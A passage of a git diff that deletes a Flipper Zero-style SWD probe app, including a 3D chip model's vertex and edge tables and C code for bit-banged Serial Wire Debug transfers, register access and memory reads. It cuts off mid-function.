(edge[0], edge[1])) - f.write('};\n') diff --git a/applications/external/swd_probe/model/model_chip.h b/applications/external/swd_probe/model/model_chip.h deleted file mode 100644 index 4061b8522..000000000 --- a/applications/external/swd_probe/model/model_chip.h +++ /dev/null @@ -1,108 +0,0 @@ -#define NUM_VERTICES 136 -float vertexCoords[NUM_VERTICES][3] = { - {1.000000, 1.000000, 0.152153}, {-1.000000, 1.000000, 0.152153}, - {-1.000000, -1.000000, 0.152153}, {1.000000, -1.000000, 0.152153}, - {1.000000, -1.000000, -0.185787}, {-1.000000, -1.000000, -0.185787}, - {-1.000000, 1.000000, -0.185787}, {1.000000, 1.000000, -0.185787}, - {-1.000043, -0.785071, -0.015780}, {-1.155724, -0.785071, -0.015780}, - {-1.155724, -0.918718, -0.015780}, {-1.000043, -0.918718, -0.015780}, - {-1.155724, -0.785071, 0.127052}, {-1.000043, -0.785071, 0.127052}, - {-1.000043, -0.918718, 0.127052}, {-1.155724, -0.918718, 0.127052}, - {-1.234192, -0.918846, -0.087021}, {-1.234397, -0.785201, -0.086336}, - {-1.235319, -0.784943, -0.229143}, {-1.235114, -0.918588, -0.229828}, - {-1.388133, -0.919573, -0.078673}, {-1.389056, -0.919314, -0.221479}, - {-1.389261, -0.785669, -0.220795}, {-1.388338, -0.785927, -0.077988}, - {-1.000043, -0.219627, -0.015780}, {-1.155724, -0.219627, -0.015780}, - {-1.155724, -0.353273, -0.015780}, {-1.000043, -0.353273, -0.015780}, - {-1.155724, -0.219627, 0.127052}, {-1.000043, -0.219627, 0.127052}, - {-1.000043, -0.353273, 0.127052}, {-1.155724, -0.353273, 0.127052}, - {-1.234192, -0.353402, -0.087021}, {-1.234397, -0.219756, -0.086336}, - {-1.235319, -0.219498, -0.229143}, {-1.235114, -0.353143, -0.229828}, - {-1.388133, -0.354128, -0.078673}, {-1.389056, -0.353870, -0.221479}, - {-1.389261, -0.220224, -0.220795}, {-1.388338, -0.220482, -0.077988}, - {-1.000043, 0.345818, -0.015780}, {-1.155724, 0.345818, -0.015780}, - {-1.155724, 0.212172, -0.015780}, {-1.000043, 0.212172, -0.015780}, - {-1.155724, 0.345818, 0.127052}, {-1.000043, 0.345818, 0.127052}, - {-1.000043, 0.212172, 0.127052}, {-1.155724, 0.212172, 0.127052}, - {-1.234192, 0.212043, -0.087021}, {-1.234397, 0.345689, -0.086336}, - {-1.235319, 0.345947, -0.229143}, {-1.235114, 0.212301, -0.229828}, - {-1.388133, 0.211317, -0.078673}, {-1.389056, 0.211575, -0.221479}, - {-1.389261, 0.345221, -0.220795}, {-1.388338, 0.344962, -0.077988}, - {-1.000043, 0.911263, -0.015780}, {-1.155724, 0.911263, -0.015780}, - {-1.155724, 0.777617, -0.015780}, {-1.000043, 0.777617, -0.015780}, - {-1.155724, 0.911263, 0.127052}, {-1.000043, 0.911263, 0.127052}, - {-1.000043, 0.777617, 0.127052}, {-1.155724, 0.777617, 0.127052}, - {-1.234192, 0.777488, -0.087021}, {-1.234397, 0.911133, -0.086336}, - {-1.235319, 0.911392, -0.229143}, {-1.235114, 0.777746, -0.229828}, - {-1.388133, 0.776762, -0.078673}, {-1.389056, 0.777020, -0.221479}, - {-1.389261, 0.910665, -0.220795}, {-1.388338, 0.910407, -0.077988}, - {1.000043, -0.785071, -0.015780}, {1.000043, -0.918718, -0.015780}, - {1.155723, -0.918718, -0.015780}, {1.155723, -0.785071, -0.015780}, - {1.155723, -0.785071, 0.127052}, {1.155723, -0.918718, 0.127052}, - {1.000043, -0.918718, 0.127052}, {1.000043, -0.785071, 0.127052}, - {1.234397, -0.785201, -0.086336}, {1.234192, -0.918846, -0.087021}, - {1.235114, -0.918588, -0.229828}, {1.235319, -0.784943, -0.229143}, - {1.388133, -0.919573, -0.078673}, {1.388338, -0.785927, -0.077988}, - {1.389260, -0.785669, -0.220795}, {1.389056, -0.919314, -0.221479}, - {1.000043, -0.219627, -0.015780}, {1.000043, -0.353273, -0.015780}, - {1.155723, -0.353273, -0.015780}, {1.155723, -0.219627, -0.015780}, - {1.155723, -0.219627, 0.127052}, {1.155723, -0.353273, 0.127052}, - {1.000043, -0.353273, 0.127052}, {1.000043, -0.219627, 0.127052}, - {1.234397, -0.219756, -0.086336}, {1.234192, -0.353402, -0.087021}, - {1.235114, -0.353143, -0.229828}, {1.235319, -0.219498, -0.229143}, - {1.388133, -0.354128, -0.078673}, {1.388338, -0.220482, -0.077988}, - {1.389260, -0.220224, -0.220795}, {1.389056, -0.353870, -0.221479}, - {1.000043, 0.345818, -0.015780}, {1.000043, 0.212172, -0.015780}, - {1.155723, 0.212172, -0.015780}, {1.155723, 0.345818, -0.015780}, - {1.155723, 0.345818, 0.127052}, {1.155723, 0.212172, 0.127052}, - {1.000043, 0.212172, 0.127052}, {1.000043, 0.345818, 0.127052}, - {1.234397, 0.345689, -0.086336}, {1.234192, 0.212043, -0.087021}, - {1.235114, 0.212301, -0.229828}, {1.235319, 0.345947, -0.229143}, - {1.388133, 0.211317, -0.078673}, {1.388338, 0.344962, -0.077988}, - {1.389260, 0.345221, -0.220795}, {1.389056, 0.211575, -0.221479}, - {1.000043, 0.911263, -0.015780}, {1.000043, 0.777616, -0.015780}, - {1.155723, 0.777616, -0.015780}, {1.155723, 0.911263, -0.015780}, - {1.155723, 0.911263, 0.127052}, {1.155723, 0.777616, 0.127052}, - {1.000043, 0.777616, 0.127052}, {1.000043, 0.911263, 0.127052}, - {1.234397, 0.911133, -0.086336}, {1.234192, 0.777488, -0.087021}, - {1.235114, 0.777746, -0.229828}, {1.235319, 0.911392, -0.229143}, - {1.388133, 0.776762, -0.078673}, {1.388338, 0.910407, -0.077988}, - {1.389260, 0.910665, -0.220795}, {1.389056, 0.777020, -0.221479}, -}; -int edgeIndices[][3] = { - {0, 1}, {1, 2}, {2, 3}, {3, 0}, {4, 3}, {3, 2}, {2, 5}, {5, 4}, - {5, 2}, {2, 1}, {1, 6}, {6, 5}, {6, 7}, {7, 4}, {4, 5}, {5, 6}, - {7, 0}, {0, 3}, {3, 4}, {4, 7}, {6, 1}, {1, 0}, {0, 7}, {7, 6}, - {8, 9}, {9, 10}, {10, 11}, {11, 8}, {12, 13}, {13, 14}, {14, 15}, {15, 12}, - {13, 8}, {8, 11}, {11, 14}, {14, 13}, {12, 15}, {15, 16}, {16, 17}, {17, 12}, - {10, 9}, {9, 18}, {18, 19}, {19, 10}, {20, 21}, {21, 22}, {22, 23}, {23, 20}, - {17, 16}, {16, 20}, {20, 23}, {23, 17}, {19, 18}, {18, 22}, {22, 21}, {21, 19}, - {24, 25}, {25, 26}, {26, 27}, {27, 24}, {28, 29}, {29, 30}, {30, 31}, {31, 28}, - {29, 24}, {24, 27}, {27, 30}, {30, 29}, {28, 31}, {31, 32}, {32, 33}, {33, 28}, - {26, 25}, {25, 34}, {34, 35}, {35, 26}, {36, 37}, {37, 38}, {38, 39}, {39, 36}, - {33, 32}, {32, 36}, {36, 39}, {39, 33}, {35, 34}, {34, 38}, {38, 37}, {37, 35}, - {40, 41}, {41, 42}, {42, 43}, {43, 40}, {44, 45}, {45, 46}, {46, 47}, {47, 44}, - {45, 40}, {40, 43}, {43, 46}, {46, 45}, {44, 47}, {47, 48}, {48, 49}, {49, 44}, - {42, 41}, {41, 50}, {50, 51}, {51, 42}, {52, 53}, {53, 54}, {54, 55}, {55, 52}, - {49, 48}, {48, 52}, {52, 55}, {55, 49}, {51, 50}, {50, 54}, {54, 53}, {53, 51}, - {56, 57}, {57, 58}, {58, 59}, {59, 56}, {60, 61}, {61, 62}, {62, 63}, {63, 60}, - {61, 56}, {56, 59}, {59, 62}, {62, 61}, {60, 63}, {63, 64}, {64, 65}, {65, 60}, - {58, 57}, {57, 66}, {66, 67}, {67, 58}, {68, 69}, {69, 70}, {70, 71}, {71, 68}, - {65, 64}, {64, 68}, {68, 71}, {71, 65}, {67, 66}, {66, 70}, {70, 69}, {69, 67}, - {72, 73}, {73, 74}, {74, 75}, {75, 72}, {76, 77}, {77, 78}, {78, 79}, {79, 76}, - {79, 78}, {78, 73}, {73, 72}, {72, 79}, {76, 80}, {80, 81}, {81, 77}, {77, 76}, - {74, 82}, {82, 83}, {83, 75}, {75, 74}, {84, 85}, {85, 86}, {86, 87}, {87, 84}, - {80, 85}, {85, 84}, {84, 81}, {81, 80}, {82, 87}, {87, 86}, {86, 83}, {83, 82}, - {88, 89}, {89, 90}, {90, 91}, {91, 88}, {92, 93}, {93, 94}, {94, 95}, {95, 92}, - {95, 94}, {94, 89}, {89, 88}, {88, 95}, {92, 96}, {96, 97}, {97, 93}, {93, 92}, - {90, 98}, {98, 99}, {99, 91}, {91, 90}, {100, 101}, {101, 102}, {102, 103}, {103, 100}, - {96, 101}, {101, 100}, {100, 97}, {97, 96}, {98, 103}, {103, 102}, {102, 99}, {99, 98}, - {104, 105}, {105, 106}, {106, 107}, {107, 104}, {108, 109}, {109, 110}, {110, 111}, {111, 108}, - {111, 110}, {110, 105}, {105, 104}, {104, 111}, {108, 112}, {112, 113}, {113, 109}, {109, 108}, - {106, 114}, {114, 115}, {115, 107}, {107, 106}, {116, 117}, {117, 118}, {118, 119}, {119, 116}, - {112, 117}, {117, 116}, {116, 113}, {113, 112}, {114, 119}, {119, 118}, {118, 115}, {115, 114}, - {120, 121}, {121, 122}, {122, 123}, {123, 120}, {124, 125}, {125, 126}, {126, 127}, {127, 124}, - {127, 126}, {126, 121}, {121, 120}, {120, 127}, {124, 128}, {128, 129}, {129, 125}, {125, 124}, - {122, 130}, {130, 131}, {131, 123}, {123, 122}, {132, 133}, {133, 134}, {134, 135}, {135, 132}, - {128, 133}, {133, 132}, {132, 129}, {129, 128}, {130, 135}, {135, 134}, {134, 131}, {131, 130}, -}; diff --git a/applications/external/swd_probe/swd_probe_app.c b/applications/external/swd_probe/swd_probe_app.c deleted file mode 100644 index 63f219508..000000000 --- a/applications/external/swd_probe/swd_probe_app.c +++ /dev/null @@ -1,3187 +0,0 @@ - - -#include "swd_probe_app.h" -#include "swd_probe_icons.h" -#include "jep106.h" -#include "adi.h" - -static void render_callback(Canvas* const canvas, void* cb_ctx); -static bool swd_message_process(AppFSM* ctx); -static uint8_t swd_transfer(AppFSM* const ctx, bool ap, bool write, uint8_t a23, uint32_t* data); -static bool swd_execute_script(AppFSM* const ctx, const char* filename); - -static const GpioPin* gpios[] = { - &gpio_ext_pc0, - &gpio_ext_pc1, - &gpio_ext_pc3, - &gpio_ext_pb2, - &gpio_ext_pb3, - &gpio_ext_pa4, - &gpio_ext_pa6, - &gpio_ext_pa7}; - -static const char* gpio_names[] = {"PC0", "PC1", "PC3", "PB2", "PB3", "PA4", "PA6", "PA7"}; - -/* bit set: clock, else data */ -static const uint8_t gpio_direction_mask[6] = - {0b10101010, 0b01010101, 0b11001100, 0b00110011, 0b11110000, 0b00001111}; - -const NotificationSequence seq_c_minor = { - &message_note_c4, - &message_delay_100, - &message_sound_off, - &message_delay_10, - - &message_note_ds4, - &message_delay_100, - &message_sound_off, - &message_delay_10, - - &message_note_g4, - &message_delay_100, - &message_sound_off, - &message_delay_10, - - &message_vibro_on, - &message_delay_50, - &message_vibro_off, - NULL, -}; - -const NotificationSequence seq_error = { - - &message_vibro_on, - &message_delay_50, - &message_vibro_off, - - &message_note_g4, - &message_delay_100, - &message_sound_off, - &message_delay_10, - - &message_note_c4, - &message_delay_500, - &message_sound_off, - &message_delay_10, - NULL, -}; - -const NotificationSequence* seq_sounds[] = {&seq_c_minor, &seq_error}; - -static bool has_multiple_bits(uint8_t x) { - return (x & (x - 1)) != 0; -} - -static uint8_t get_bit_num(uint8_t x) { - return (uint8_t)__builtin_ctz(x); -} - -static const char* gpio_name(uint8_t mask) { - if(has_multiple_bits(mask)) { - return "Pxx"; - } - uint8_t io = get_bit_num(mask); - if(io >= COUNT(gpio_names)) { - return "Pxx"; - } - - return gpio_names[io]; -} - -static void swd_configure_pins(AppFSM* const ctx, bool output) { - if(ctx->mode_page > ModePageFound && ctx->io_num_swc < 8 && ctx->io_num_swd < 8) { - furi_hal_gpio_init( - gpios[ctx->io_num_swc], GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - if(!output) { - furi_hal_gpio_init( - gpios[ctx->io_num_swd], GpioModeInput, GpioPullUp, GpioSpeedVeryHigh); - } else { - furi_hal_gpio_init( - gpios[ctx->io_num_swd], GpioModeOutputOpenDrain, GpioPullUp, GpioSpeedVeryHigh); - } - return; - } - - for(int io = 0; io < 8; io++) { - uint8_t bitmask = 1 << io; - - /* if neither candidate for SWC nor SWD then skip */ - if(!(ctx->io_swc & bitmask) && !(ctx->io_swd & bitmask)) { - furi_hal_gpio_init(gpios[io], GpioModeInput, GpioPullUp, GpioSpeedVeryHigh); - continue; - } - - if(ctx->current_mask & bitmask) { - /* set for clock */ - furi_hal_gpio_init(gpios[io], GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - } else { - /* set for data */ - if(!output) { - furi_hal_gpio_init(gpios[io], GpioModeInput, GpioPullUp, GpioSpeedVeryHigh); - } else { - furi_hal_gpio_init( - gpios[io], GpioModeOutputOpenDrain, GpioPullUp, GpioSpeedVeryHigh); - } - } - } -} - -static void swd_set_clock(AppFSM* const ctx, const uint8_t level) { - if(ctx->mode_page > ModePageFound && ctx->io_num_swc < 8) { - furi_hal_gpio_write(gpios[ctx->io_num_swc], level); - return; - } - - for(int io = 0; io < 8; io++) { - uint8_t bitmask = 1 << io; - - /* if no candidate for SWC then skip */ - if(!(ctx->io_swc & bitmask)) { - continue; - } - - if(ctx->current_mask & bitmask) { - furi_hal_gpio_write(gpios[io], level); - } - } -} - -static void swd_set_data(AppFSM* const ctx, const uint8_t level) { - if(ctx->mode_page > ModePageFound && ctx->io_num_swd < 8) { - furi_hal_gpio_write(gpios[ctx->io_num_swd], level); - return; - } - - for(int io = 0; io < 8; io++) { - uint8_t bitmask = 1 << io; - - /* if no candidate for SWD then skip */ - if(!(ctx->io_swd & bitmask)) { - continue; - } - - if(!(ctx->current_mask & bitmask)) { - furi_hal_gpio_write(gpios[io], level); - } - } -} - -static uint8_t swd_get_data(AppFSM* const ctx) { - if(ctx->mode_page > ModePageFound && ctx->io_num_swd < 8) { - return furi_hal_gpio_read(gpios[ctx->io_num_swd]); - } - - uint8_t bits = 0; - for(int io = 0; io < 8; io++) { - uint8_t bitmask = 1 << io; - - /* if no candidate for SWD then skip */ - if(!(ctx->io_swd & bitmask)) { - continue; - } - bits |= furi_hal_gpio_read(gpios[io]) ? bitmask : 0; - } - return bits; -} - -static void swd_clock_delay(AppFSM* const ctx) { - if(ctx->swd_clock_delay) { - furi_delay_us(ctx->swd_clock_delay); - } -} - -static void swd_write_bit(AppFSM* const ctx, bool level) { - swd_set_clock(ctx, 0); - swd_set_data(ctx, level); - swd_clock_delay(ctx); - swd_set_clock(ctx, 1); - swd_clock_delay(ctx); - swd_set_clock(ctx, 0); -} - -static uint8_t swd_read_bit(AppFSM* const ctx) { - swd_set_clock(ctx, 1); - swd_clock_delay(ctx); - swd_set_clock(ctx, 0); - uint8_t bits = swd_get_data(ctx); - swd_clock_delay(ctx); - swd_set_clock(ctx, 1); - - return bits; -} - -/* send a byte or less LSB-first */ -static void swd_write_byte(AppFSM* const ctx, const uint8_t data, size_t bits) { - for(size_t pos = 0; pos < bits; pos++) { - swd_write_bit(ctx, data & (1 << pos)); - } -} - -/* send a sequence of bytes LSB-first */ -static void swd_write(AppFSM* const ctx, const uint8_t* data, size_t bits) { - size_t byte_pos = 0; - while(bits > 0) { - size_t remain = (bits > 8) ? 8 : bits; - swd_write_byte(ctx, data[byte_pos++], remain); - bits -= remain; - } -} - -static uint8_t swd_transfer(AppFSM* const ctx, bool ap, bool write, uint8_t a23, uint32_t* data) { - //notification_message(ctx->notification, &sequence_set_blue_255); - //notification_message(ctx->notification, &sequence_reset_red); - - swd_set_data(ctx, false); - swd_configure_pins(ctx, true); - - uint32_t idle = 0; - swd_write(ctx, (uint8_t*)&idle, ctx->swd_idle_bits); - - uint8_t request[] = {0}; - - request[0] |= 0x01; /* start bit*/ - request[0] |= ap ? 0x02 : 0; /* APnDP */ - request[0] |= write ? 0 : 0x04; /* operation */ - request[0] |= (a23 & 0x01) ? 0x08 : 0; /* A[2:3] */ - request[0] |= (a23 & 0x02) ? 0x10 : 0; /* A[2:3] */ - request[0] |= 0x80; /* park bit */ - request[0] |= __builtin_parity(request[0]) ? 0x20 : 0; /* parity */ - - swd_write(ctx, request, sizeof(request) * 8); - - /* turnaround cycle */ - swd_configure_pins(ctx, false); - - uint8_t ack = 0; - - /* receive 3 ACK bits */ - for(int pos = 0; pos < 3; pos++) { - ack >>= 1; - ack |= swd_read_bit(ctx) ? 0x04 : 0; - } - - /* force ABORT/CTRL to always work */ - if(!ap && a23 == 0) { - ack = 1; - } - - if(ack != 0x01) { - //notification_message(ctx->notification, &sequence_reset_blue); - //notification_message(ctx->notification, &sequence_set_red_255); - return ack; - } - - if(write) { - swd_write_bit(ctx, 0); - swd_configure_pins(ctx, true); - - /* send 32 WDATA bits */ - for(int pos = 0; pos < 32; pos++) { - swd_write_bit(ctx, *data & (1 << pos)); - } - - /* send parity bit */ - swd_write_bit(ctx, __builtin_parity(*data)); - } else { - *data = 0; - /* receive 32 RDATA bits */ - for(int pos = 0; pos < 32; pos++) { - *data >>= 1; - *data |= swd_read_bit(ctx) ? 0x80000000 : 0; - } - - /* receive parity bit */ - bool parity = swd_read_bit(ctx); - - if(parity != __builtin_parity(*data)) { - //notification_message(ctx->notification, &sequence_reset_blue); - //notification_message(ctx->notification, &sequence_set_red_255); - return 8; - } - } - swd_set_data(ctx, false); - swd_configure_pins(ctx, true); - //notification_message(ctx->notification, &sequence_reset_blue); - - return ack; -} - -/* A line reset is achieved by holding the data signal HIGH for at least 50 clock cycles, followed by at least two idle cycles. */ -static void swd_line_reset(AppFSM* const ctx) { - //notification_message(ctx->notification, &sequence_set_red_255); - for(int bitcount = 0; bitcount < 50; bitcount += 8) { - swd_write_byte(ctx, 0xFF, 8); - } - swd_write_byte(ctx, 0, 8); - ctx->dp_regs.select_ok = false; - //notification_message(ctx->notification, &sequence_reset_red); -} - -static void swd_abort(AppFSM* const ctx) { - uint32_t dpidr; - - /* first reset the line */ - swd_line_reset(ctx); - swd_transfer(ctx, false, false, 0, &dpidr); - uint32_t abort = 0x0E; - swd_transfer(ctx, false, true, 0, &abort); -} - -static void swd_abort_simple(AppFSM* const ctx) { - uint32_t abort = 0x0E; - swd_transfer(ctx, false, true, 0, &abort); - - uint32_t dpidr; - if(swd_transfer(ctx, false, false, 0, &dpidr) != 1) { - swd_abort(ctx); - } -} - -static uint8_t swd_select(AppFSM* const ctx, uint8_t ap_sel, uint8_t ap_bank, uint8_t dp_bank) { - uint32_t bank_reg = (ap_sel << 24) | ((ap_bank & 0x0F) << 4) | (dp_bank & 0x0F); - - if(ctx->dp_regs.select_ok && bank_reg == ctx->dp_regs.select) { - return 1; - } - - uint8_t ret = swd_transfer(ctx, false, true, REG_SELECT, &bank_reg); - if(ret != 1) { - ctx->dp_regs.select_ok = false; - DBG("failed: %d", ret); - return ret; - } - - ctx->dp_regs.select = bank_reg; - ctx->dp_regs.select_ok = true; - return ret; -} - -static uint8_t - swd_read_dpbank(AppFSM* const ctx, uint8_t dp_off, uint8_t dp_bank, uint32_t* data) { - uint8_t ret = 0; - - /* select target bank */ - if(dp_bank < 0x10) { - uint8_t ret = swd_select(ctx, 0, 0, dp_bank); - if(ret != 1) { - DBGS("swd_select failed"); - return ret; - } - } - - /* read data from it */ - *data = 0; - ret = swd_transfer(ctx, false, false, dp_off, data); - if(ret != 1) { - DBG("failed: %d", ret); - return ret; - } - return ret; -} - -static uint8_t - swd_write_dpbank(AppFSM* const ctx, uint8_t dp_off, uint8_t dp_bank, uint32_t* data) { - uint8_t ret = 0; - - /* select target bank */ - if(dp_bank < 0x10) { - ret = swd_select(ctx, 0, 0, dp_bank); - if(ret != 1) { - DBGS("swd_select failed"); - return ret; - } - } - - /* write it */ - ret = swd_transfer(ctx, false, true, dp_off, data); - if(ret != 1) { - DBG("failed: %d", ret); - return ret; - } - return ret; -} - -static uint8_t swd_read_ap(AppFSM* const ctx, uint8_t ap, uint8_t ap_off, uint32_t* data) { - /* select target bank */ - uint8_t ret = swd_select(ctx, ap, (ap_off >> 4) & 0x0F, 0); - if(ret != 1) { - DBGS("swd_select failed"); - return ret; - } - ret = swd_transfer(ctx, true, false, (ap_off >> 2) & 3, data); - *data = 0; - ret = swd_transfer(ctx, true, false, (ap_off >> 2) & 3, data); - if(ret != 1) { - DBG("failed: %d", ret); - return ret; - } - return ret; -} - -static uint8_t swd_read_ap_single(AppFSM* const ctx, uint8_t ap, uint8_t ap_off, uint32_t* data) { - uint8_t ret = swd_select(ctx, ap, (ap_off >> 4) & 0x0F, 0); - if(ret != 1) { - DBGS("swd_select failed"); - return ret; - } - *data = 0; - ret = swd_transfer(ctx, true, false, (ap_off >> 2) & 3, data); - if(ret != 1) { - DBG("failed: %d", ret); - return ret; - } - return ret; -} - -static uint8_t swd_write_ap(AppFSM* const ctx, uint8_t ap, uint8_t ap_off, uint32_t data) { - uint8_t ret = swd_select(ctx, ap, (ap_off >> 4) & 0x0F, 0); - if(ret != 1) { - DBGS("swd_select failed"); - return ret; - } - ret = swd_transfer(ctx, true, true, (ap_off >> 2) & 3, &data); - if(ret != 1) { - DBG("failed: %d", ret); - return ret; - } - return ret; -} - -static uint8_t swd_write_memory(AppFSM* const ctx, uint8_t ap, uint32_t address, uint32_t data) { - uint8_t ret = 0; - uint32_t csw = 0x23000002; - - ret |= swd_write_ap(ctx, ap, MEMAP_CSW, csw); - ret |= swd_write_ap(ctx, ap, MEMAP_TAR, address); - ret |= swd_write_ap(ctx, ap, MEMAP_DRW, data); - DBG("write 0x%08lX to 0x%08lX", data, address); - - if(ret != 1) { - swd_abort(ctx); - } - return ret; -} - -uint8_t swd_read_memory(AppFSM* const ctx, uint8_t ap, uint32_t address, uint32_t* data) { - uint8_t ret = 0; - uint32_t csw = 0x23000002; - - ret |= swd_write_ap(ctx, ap, MEMAP_CSW, csw); - ret |= swd_write_ap(ctx, ap, MEMAP_TAR, address); - ret |= swd_read_ap(ctx, ap, MEMAP_DRW, data); - - if(ret != 1) { - DBG("read from 0x%08lX failed", address); - swd_abort(ctx); - } else { - DBG("read 0x%08lX from 0x%08lX", *data, address); - } - return ret; -} - -static uint8_t swd_read_memory_block( - AppFSM* const ctx, - uint8_t ap, - uint32_t address, - uint8_t* buf, - uint32_t len) { - uint8_t ret = 0; - uint32_t data = 0; - uint32_t csw = 0x23000012; - - ret |= swd_write_ap(ctx, ap, MEMAP_CSW, csw); - ret |= swd_write_ap(ctx, ap, MEMAP_TAR, address); - ret |= swd_read_ap_single(ctx, ap, MEMAP_DRW, &data); - - for(size_t pos = 0; pos < len; pos += 4) { - data = 0xDEADBEEF; - ret |= swd_read_ap_single(ctx, ap, MEMAP_DRW, &data); - DBG("read %lX", data); - - memcpy(&buf[pos], &data, 4); - - if(ret != 1) { - swd_abort(ctx); - return ret; - } - } - return ret; -} - -static uint32_t swd_detect(AppFSM* const ctx) { - swd_set_data(ctx, false); - swd_configure_pins(ctx, true); - - uint8_t data[] = {0xA5}; - swd_write(ctx, data, sizeof(data) * 8); - - /* turnaround cycle */ - swd_configure_pins(ctx, false); - - uint8_t ack_bits[3]; - uint8_t rdata[32]; - - /* receive 3 ACK bits */ - for(int pos = 0; pos < 3; pos++) { - ack_bits[pos] = swd_read_bit(ctx); - } - - /* receive 32 RDATA bits */ - for(int pos = 0; pos < 32; pos++) { - rdata[pos] = swd_read_bit(ctx); - } - - /* receive parity bit */ - uint8_t parity = swd_read_bit(ctx); - - for(int io = 0; io < 8; io++) { - uint8_t bitmask = 1 << io; - - /* skip if it's a clock */ - if(ctx->current_mask & bitmask) { - continue; - } - - uint8_t ack = 0; - for(int pos = 0; pos < 3; pos++) { - ack >>= 1; - ack |= (ack_bits[pos] & bitmask) ? 4 : 0; - } - - uint32_t dpidr = 0; - for(int pos = 0; pos < 32; pos++) { - dpidr >>= 1; - dpidr |= (rdata[pos] & bitmask) ? 0x80000000 : 0; - } - - if(ack == 1 && dpidr != 0 && dpidr != 0xFFFFFFFF) { - bool received_parity = (parity & bitmask); - if(__builtin_parity(dpidr) == received_parity) { - ctx->dp_regs.dpidr = dpidr; - ctx->dp_regs.dpidr_ok = true; - ctx->detected = true; - ctx->io_swd = bitmask; - ctx->io_swc &= ctx->current_mask; - LOG("swd_detect: data: %08lX, io_swd %02X, io_swc %02X", - dpidr, - ctx->io_swd, - ctx->io_swc); - - if(!has_multiple_bits(ctx->io_swc)) { - ctx->io_num_swd = get_bit_num(ctx->io_swd); - ctx->io_num_swc = get_bit_num(ctx->io_swc); - } - } - } - } - swd_set_data(ctx, false); - swd_configure_pins(ctx, true); - - return 0; -} - -static void swd_scan(AppFSM* const ctx) { - /* To switch SWJ-DP from JTAG to SWD operation: - 1. Send at least 50 SWCLKTCK cycles with SWDIOTMS HIGH. This ensures that the current interface is in its reset state. The JTAG interface only detects the 16-bit JTAG-to-SWD sequence starting from the Test-Logic-Reset state. - 2. Send the 16-bit JTAG-to-SWD select sequence 0x79e7 on SWDIOTMS. - 3. Send at least 50 SWCLKTCK cycles with SWDIOTMS HIGH. This ensures that if SWJ-DP was already in SWD operation before sending the select sequence, the SWD interface enters line reset state. - */ - swd_configure_pins(ctx, true); - - /* reset JTAG interface */ - for(int bitcount = 0; bitcount < 50; bitcount += 8) { - swd_write_byte(ctx, 0xFF, 8); - } - - /* Send the 16-bit JTAG-to-SWD select sequence */ - swd_write_byte(ctx, 0x9E, 8); - swd_write_byte(ctx, 0xE7, 8); - - /* resynchronize SWD */ - swd_line_reset(ctx); - - swd_detect(ctx); -} - -static bool swd_ensure_powerup(AppFSM* const ctx) { - bool ret = true; - - if(!(ctx->dp_regs.ctrlstat & (CSYSPWRUPREQ | CDBGPWRUPREQ))) { - DBGS("no (CSYSPWRUPREQ | CDBGPWRUPREQ)"); - - /* fetch current CTRL/STAT */ - DBGS(" - Fetch CTRL/STAT"); - ctx->dp_regs.ctrlstat_ok = - swd_read_dpbank(ctx, REG_CTRLSTAT, REG_CTRLSTAT_BANK, &ctx->dp_regs.ctrlstat) == 1; - DBG(" %08lX %s", ctx->dp_regs.ctrlstat, ctx->dp_regs.ctrlstat_ok ? "OK" : "FAIL"); - /* enable requests */ - ctx->dp_regs.ctrlstat |= (CSYSPWRUPREQ | CDBGPWRUPREQ); - - swd_write_dpbank(ctx, REG_CTRLSTAT, REG_CTRLSTAT_BANK, &ctx->dp_regs.ctrlstat); - - ret = false; - } - if(!(ctx->dp_regs.ctrlstat & CDBGPWRUPACK)) { - DBGS("no CDBGPWRUPACK"); - /* fetch current CTRL/STAT */ - swd_read_dpbank(ctx, REG_CTRLSTAT, REG_CTRLSTAT_BANK, &ctx->dp_regs.ctrlstat); - ret = false; - } - - if(!ret) { - DBGS(" - Fetch CTRL/STAT"); - ctx->dp_regs.ctrlstat_ok = - swd_read_dpbank(ctx, REG_CTRLSTAT, REG_CTRLSTAT_BANK, &ctx->dp_regs.ctrlstat) == 1; - DBG(" %08lX %s", ctx->dp_regs.ctrlstat, ctx->dp_regs.ctrlstat_ok ? "OK" : "FAIL"); - } - - return ret; -} - -static void swd_apscan_reset(AppFSM* const ctx) { - for(size_t reset_ap = 0; reset_ap < COUNT(ctx->apidr_info); reset_ap++) { - ctx->apidr_info[reset_ap].tested = false; - } -} - -static bool swd_apscan_test(AppFSM* const ctx, uint32_t ap) { - furi_assert(ctx); - furi_assert(ap < sizeof(ctx->apidr_info)); - bool ret = true; - - ctx->apidr_info[ap].tested = true; - - uint32_t data = 0; - if(swd_read_ap(ctx, ap, AP_IDR, &data) != 1) { - swd_abort(ctx); - return false; - } - if(data == 0) { - return false; - } - DBG("AP%lu detected", ap); - ctx->apidr_info[ap].ok = true; - ctx->apidr_info[ap].revision = (data >> 24) & 0x0F; - ctx->apidr_info[ap].designer = (data >> 17) & 0x3FF; - ctx->apidr_info[ap].class = (data >> 13) & 0x0F; - ctx->apidr_info[ap].variant = (data >> 4) & 0x0F; - ctx->apidr_info[ap].type = (data >> 0) & 0x0F; - - if(swd_read_ap(ctx, ap, AP_BASE, &ctx->apidr_info[ap].base) != 1) { - swd_abort(ctx); - ret = false; - } - return ret; -} - -/************************** script helpers **************************/ - -static void swd_script_log(ScriptContext* ctx, FuriLogLevel level, const char* format, ...) { - bool commandline = false; - ScriptContext* cur = ctx; - FuriString* buffer = furi_string_alloc(); - va_list argp; - va_start(argp, format); - - do { - if(cur == ctx->app->commandline) { - commandline = true; - } - cur = cur->parent; - } while(cur); - - if(commandline) { - const char* prefix = ""; - - switch(level) { - case FuriLogLevelWarn: - prefix = "Warning: "; - break; - case FuriLogLevelError: - prefix = "ERROR: "; - break; - default: - break; - } - - furi_string_cat_str(buffer, prefix); - furi_string_cat_printf(buffer, format, argp); - furi_string_cat_str(buffer, "\n"); - - if(!usb_uart_tx_data( - ctx->app->uart, (uint8_t*)furi_string_get_cstr(buffer), furi_string_size(buffer))) { - DBGS("Sending via USB failed"); - } - } else { - LOG(furi_string_get_cstr(buffer)); - } - va_end(argp); - furi_string_free(buffer); -} - -/* read characters until newline was read */ -static bool swd_script_seek_newline(ScriptContext* ctx) { - while(true) { - uint8_t ch = 0; - - if(ctx->script_file) { - if(storage_file_read(ctx->script_file, &ch, 1) != 1) { - return false; - } - } else { - ch = ctx->line_data[ctx->line_pos]; - if(ch == 0) { - return false; - } - ctx->line_pos++; - } - if(ch == '\n') { - return true; - } - } -} - -/* read whitespaces until the next character is read. - returns false if EOF or newline was read */ -static 